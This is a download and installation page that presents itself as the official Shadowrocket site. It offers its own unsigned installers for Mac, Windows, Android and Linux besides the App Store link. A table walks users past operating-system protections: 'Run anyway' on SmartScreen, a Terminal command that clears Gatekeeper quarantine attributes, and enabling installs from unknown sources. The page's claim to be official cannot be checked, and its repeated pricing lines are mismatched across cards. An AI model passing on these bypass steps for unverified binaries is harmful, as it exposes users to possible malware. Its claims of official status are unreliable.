Official downloads · Installation guide

Shadowrocket Download

Choose an installation method for your device: get the iPhone / iPad version from the App Store, or use installers from this site for Mac, Windows, Android, and Linux.

Current version v2.2.92 · Mac, Windows, Android, and Linux versions are free

  • Source iPhone / iPad: App Store; other platforms: this site
  • Current version v2.2.92
  • 2 ways to get it iPhone / iPad: $2.99 once; Mac / Windows / Android / Linux: free
  • Developer Shadow Launch Technology Limited
  • App ID 932747118

Choose an installer by platform

Check your operating system and processor architecture before choosing a file. Automatic detection only identifies your device; you still need to confirm your Mac chip type or Linux distribution.

$2.99 once. Mac, Windows, Android, and Linux versions are free.

iPhone / iPad

System: iOS / iPadOS 13.0 or later, as listed on the App Store page.

Check device compatibility and developer details on the App Store product page, then follow the store prompts to purchase and install. The US storefront lists the price in USD; other storefronts show local currency, and the current storefront determines the final price. An iPhone and iPad using the same Apple ID share one purchase. See below for how to restore it.

Free. iPhone / iPad cost $2.99 once on the App Store; Windows, Android, and Linux versions are also free.

Mac

System: macOS 12 or later; installers are available for Apple Silicon and Intel.

Download the dmg for your processor, open the disk image, and move Shadowrocket to Applications. Then launch it from the Applications folder. The system may show a warning the first time you open it. Confirm the download came from this site, then follow the installation guidance below. Do not repeatedly move or rename the app to try to bypass the warning.

Free. iPhone / iPad cost $2.99 once on the App Store; Mac, Android, and Linux versions are also free.

Windows

Architecture: 64-bit; installer format: .exe.

After downloading, find the installer in your browser's downloads and make sure the file has been saved completely before opening it. Follow the setup wizard to choose a location and complete installation. If you see a SmartScreen warning, check the source as described below before proceeding. On a device managed by work or school policies, first confirm that installing this type of app is allowed.

Free. iPhone / iPad cost $2.99 once on the App Store; Mac, Windows, and Linux versions are also free.

Android

Architecture: arm64; installer format: .apk, suitable for most phones and tablets from recent years.

Save the apk with your system browser, then open it from the downloads list. For the first installation, the system may ask you to enable Allow from this source for the browser you used. Grant permission only to the app handling the download. If you cannot save the file in WeChat, use the top-right menu to open this page in your system browser, then tap the download button again.

Free. iPhone / iPad cost $2.99 once on the App Store; Mac, Windows, and Android versions are also free.

Linux

Architecture: x86_64 / amd64; available formats: deb, rpm, and AppImage.

Choose .deb for Debian / Ubuntu and .rpm for Fedora / openSUSE; try AppImage for other distributions. Confirm that the system architecture matches the file format, then install using your distribution's package manager. AppImage requires execute permission, and differences between distribution environments may affect whether it runs. A matching package format does not guarantee compatibility with every environment.

First launch and system permissions

Mac, Windows, Android, and Linux installers are not code-signed, so the system may block the first launch. First confirm that the file came from the corresponding button on this page, then follow the system prompts.

First-install prompts and steps for each operating system
Platform and promptStepsLimitations
Windows
SmartScreen: “Windows protected your PC”
Confirm that the installer was downloaded from the Windows card on this site. Select “More info,” then “Run anyway,” and continue with the setup wizard. If “Run anyway” is unavailable, check the device management policies first. Stop if the source is unknown or the prompt is unexpected. Do not disable system protection entirely.
macOS
“Cannot verify developer” warning
Try opening the app once, then go to “System Settings → Privacy & Security,” find the blocked app entry, select “Open Anyway,” and confirm as prompted. Move the app to Applications first. Button locations may vary across macOS versions; follow the prompts shown by your system.
macOS
App is “damaged” warning
After confirming the download source and app path, run this command in Terminal:
xattr -cr /Applications/Shadowrocket.app
Then try opening the app again.
This command recursively removes extended attributes from the specified app; it does not repair files. If the warning persists, download the installer for the correct architecture again. Do not run the command on other directories.
Android
Install from this source permission prompt
Open the settings page shown in the prompt and enable “Allow from this source” for the browser used to save the apk. Return to the downloads list and open the installer again. Grant permission only to the browser you used; you can revoke it after installation. If an update conflict appears, save your existing configuration first, then check the source of the installed app.
Linux · AppImage
File does not have execute permission
Open a terminal in the directory containing the file. These commands match the Shadowrocket AppImage in that directory. Before running them, make sure only the single file you just downloaded is present:
chmod +x ./Shadowrocket-*.AppImage
./Shadowrocket-*.AppImage
Execute permission does not guarantee that environment dependencies are met. If the app still will not start, check the error in the terminal and review your distribution's environment requirements.
Linux · deb / rpm
Use the system package manager
Run the command for the corresponding format in the download directory. Before using the wildcard, confirm it matches only the installer you just downloaded:
sudo apt install ./Shadowrocket-*.deb
sudo dnf install ./Shadowrocket-*.rpm
The first command is for Debian / Ubuntu; the second is for Fedora. On openSUSE, you can open the rpm with the system software installer.
Review the dependencies and changes listed by the package manager before confirming. Do not run both commands; choose the one for your distribution.

Installation on iPhone / iPad is handled by the App Store and does not use the installer permission steps above. The VPN configuration permission shown when you first connect is a separate permission: it creates a system network configuration and does not replace importing a subscription. If the device already has another VPN configuration, note its current state first and check for connection conflicts. Avoid changing installation permissions and connection settings at the same time.

An interrupted download, a file that will not open, and an app that opens but cannot connect require different troubleshooting steps. For an interrupted download, check whether the browser finished downloading and whether the file format matches your system. For connection problems, check your subscription, server settings, and network status. Rerunning the installer usually will not fix a configuration error. Change one condition at a time so you can identify the result.

iPhone / iPad storefront and account region

This section applies only to iPhone / iPad. The app is not available in the mainland China store; the country or region of your Apple ID determines which store content you can see.

If your search returns no results, use the App Store product link on this page to check. Do not choose a similar listing based on the app name alone. If the store says the app is unavailable in your current region, check the account and region used for “Media & Purchases” rather than changing only your phone's language or device region. The device's display language and the store account region are separate settings.

  1. Open “Settings,” tap your Apple ID account at the top, then open “Media & Purchases.”
  2. Select “View Account,” verify as prompted, then open “Country/Region” to check the current storefront region.
  3. If you need to change it, use the country or region change option on that page. Review the listed requirements for balance, subscriptions, payment methods, and other items before proceeding.

Changing regions depends on your account status and store requirements, so completion is not guaranteed. If the page asks you to resolve a balance or existing subscription first, follow the store's instructions. Do not disregard services that are still active on your account just to install the app. Store content may vary by region; confirm availability, price, and compatibility on the product page.

The iPhone / iPad version costs $2.99 once on the App Store; Mac, Windows, Android, and Linux versions are free. The latter four platforms use the corresponding installers from this site and do not require changing your App Store account region. Confirm which installation path applies to your device before addressing account settings.

Check app details against the official interface

On iPhone / iPad, check the App Store listing and then compare it with the official screenshots. On computers and Android, verify that the installer came from this site. Screenshots help identify the interface but do not replace checking app details.

Check three details on the App Store

  1. Developer: The product page should show Shadow Launch Technology Limited. Check the full name, not just the search result title.
  2. Official icon: A rocket with a blue-purple outline on a white background. A matching name or similar icon does not prove that it is the same app.
  3. App ID: The product link on this page corresponds to 932747118. Open it, then check the app name, developer, and device compatibility.

The iPhone / iPad version costs $2.99 once on the App Store; the Mac, Windows, Android, and Linux versions are free. A listing with the same name marked free in the App Store is an imitation; do not confuse it with the free installers for other platforms on this site. If your purchased account shows a redownload icon, check your purchase history to confirm whether you are restoring a purchase.

Check installer sources for other platforms

For Mac, Windows, Android, and Linux, use only installers from the /dl/shadowrocket/ path on this site. Choose a file from the platform cards above, not an installer that has been modified or comes from an unknown source. The displayed version is read dynamically by the page. After saving a file, check the platform, processor architecture, and extension; do not rely only on whether the filename contains Shadowrocket.

Official Shadowrocket Home screen: Not Connected, Global Routing, Connectivity Test, and SERVER groups
Home: connection status at the top, followed by Global Routing, Connectivity Test, and SERVER groups.
Official Shadowrocket Add Server screen: Type, Host, Port, Password, Method, and import options
Add Server: Check Type, Host, Port, Password, and Method, along with Scan QR Code and Import from Cloud JSON.

These are official App Store screenshots of the English interface. Not Connected on Home means no connection was established at the time, and Config under Global Routing means configuration rules are in use. The status shown in the screenshots does not indicate your device's status. Add Server is for entering your own existing server details. Fill in the fields according to the protocol and information you have; do not copy the screenshot values. The interface may vary by version and settings, so follow the options shown in the app.

Switch devices, reinstall, and restore configuration

On iPhone / iPad, restore the purchase first, then restore your personal configuration. On Mac, Windows, Android, and Linux, download the installer for the platform again after switching devices.

The iPhone / iPad version costs $2.99 once on the App Store. An iPhone and iPad using the same Apple ID share one purchase, so reinstalling does not require paying again. Mac, Windows, Android, and Linux versions are free. Restoring a purchase requires the original account. Purchase history and subscriptions or rule files inside the client are separate data; redownloading the app does not automatically restore all settings.

  1. On the new device, confirm that the App Store is signed in with the Apple ID used for the original purchase. Open the account page, go to “Purchased,” find Shadowrocket, and download it again. Depending on the system version, the purchase list may also appear under “Apps.”
  2. If the store still shows a purchase price, check the account, original purchase history, and current storefront region before taking any further action. Return to the product page after confirming the purchase record.
  3. After installation, import your own subscription or server details, then restore your saved configuration files. Before connecting, check the selected server and Global Routing to avoid carrying over settings that do not suit the new network.

On Mac, Windows, Android, and Linux, download the installer for the corresponding platform again. Save your personal configuration before migrating, and check whether your backup contains passwords or subscription links. Keep this information secure and do not post it publicly. When switching Macs, check the chip type again; do not assume that the Intel installer used on an old device is the right choice for the new one.

If the server list is empty after reinstalling, first check whether you imported your previous details. If the list is present but the connection fails, check whether the details are still valid. Updates on iPhone / iPad are managed through the App Store; for other platforms, return to this page to download the current installer. Keeping a copy of your configuration before updating or replacing the app helps distinguish version changes from configuration changes.

Two pricing options and requirements for use

The price depends on how you get the client. You need to provide your own subscription or server details for connections.

One-time purchase on iPhone / iPad; other platforms are free

Get the iPhone / iPad version from the App Store. The US storefront price is $2.99 once, with no monthly client fee. The Mac version (Apple Silicon and Intel), Windows, Android, and Linux versions are free. Other storefronts show prices in local currency; check the purchase confirmation page for the final amount. The platform cards on this site show two ways to get the app, not connection service pricing.

Buying the client does not include a connection service. A one-time client purchase does not include a connection service, and paying for the client does not provide a server you can connect to. This is the Shadowrocket official site and manual. It does not provide, sell, or recommend any nodes or subscriptions; on every platform, you must already have your own subscription or server details.

Once you have your details, first identify whether you have a subscription link or individual server parameters, then choose the appropriate import option. Do not enter a subscription address as a Host or confuse a configuration file with a server list. Continue to the user guide for iPhone / iPad import and connection steps; see the glossary for rule keywords and policy meanings.

Download and installation FAQ

Check the platform and source first, then identify the system prompt. For more connection issues, see troubleshooting.

Can I use Shadowrocket on a computer or Android phone?

Yes. The Mac, Windows, Android, and Linux versions are free; download the installer from the card for your platform on this site. The iPhone and iPad versions cost $2.99 once on the App Store. After installation, import your own existing subscription or server details.

Which Mac version should I choose: Apple Silicon or Intel?

Open “About This Mac” from the Apple menu. Choose the Apple Silicon version if the Chip field shows Apple Silicon, or the Intel version if the Processor field shows Intel. Both installers require macOS 12 or later. If the system blocks the first launch, see the installation permissions guide on this page.

What should I do if Windows warns that the app may be risky?

First confirm that the file came from the Windows card on this site. When SmartScreen says “Windows protected your PC,” verify the source, select “More info,” and then select “Run anyway.” If that option is unavailable or the device is managed by an organization's policies, stop and check the restrictions. Do not disable system protection entirely.

What if I can't find Shadowrocket in the App Store?

This applies to iPhone / iPad. The app is not available in the mainland China store; the country or region of your Apple ID determines the store's content. Open the product link on this page, then check your account under “Settings → Apple ID → Media & Purchases → Country/Region.” Whether you can change regions depends on your account status and store requirements.

Do I need to pay again when I switch devices or reinstall?

On iPhone or iPad, sign in with the Apple ID used for the original purchase and redownload the app from Purchased in your App Store account. One purchase can be used on both an iPhone and an iPad with the same Apple ID. The iPhone / iPad version costs $2.99 once; Mac, Windows, Android, and Linux versions are free. On computers and Android devices, download the matching installer again after switching devices. Import your own configuration after restoring the app.

Can I install Shadowrocket on iPad, and where can I check the system requirements?

Yes. The iPhone / iPad versions require iOS / iPadOS 13.0 or later, as listed on the App Store page. They cost $2.99 once on the App Store; Mac, Windows, Android, and Linux versions are free. Check the store page to confirm that your device meets the requirements before installing.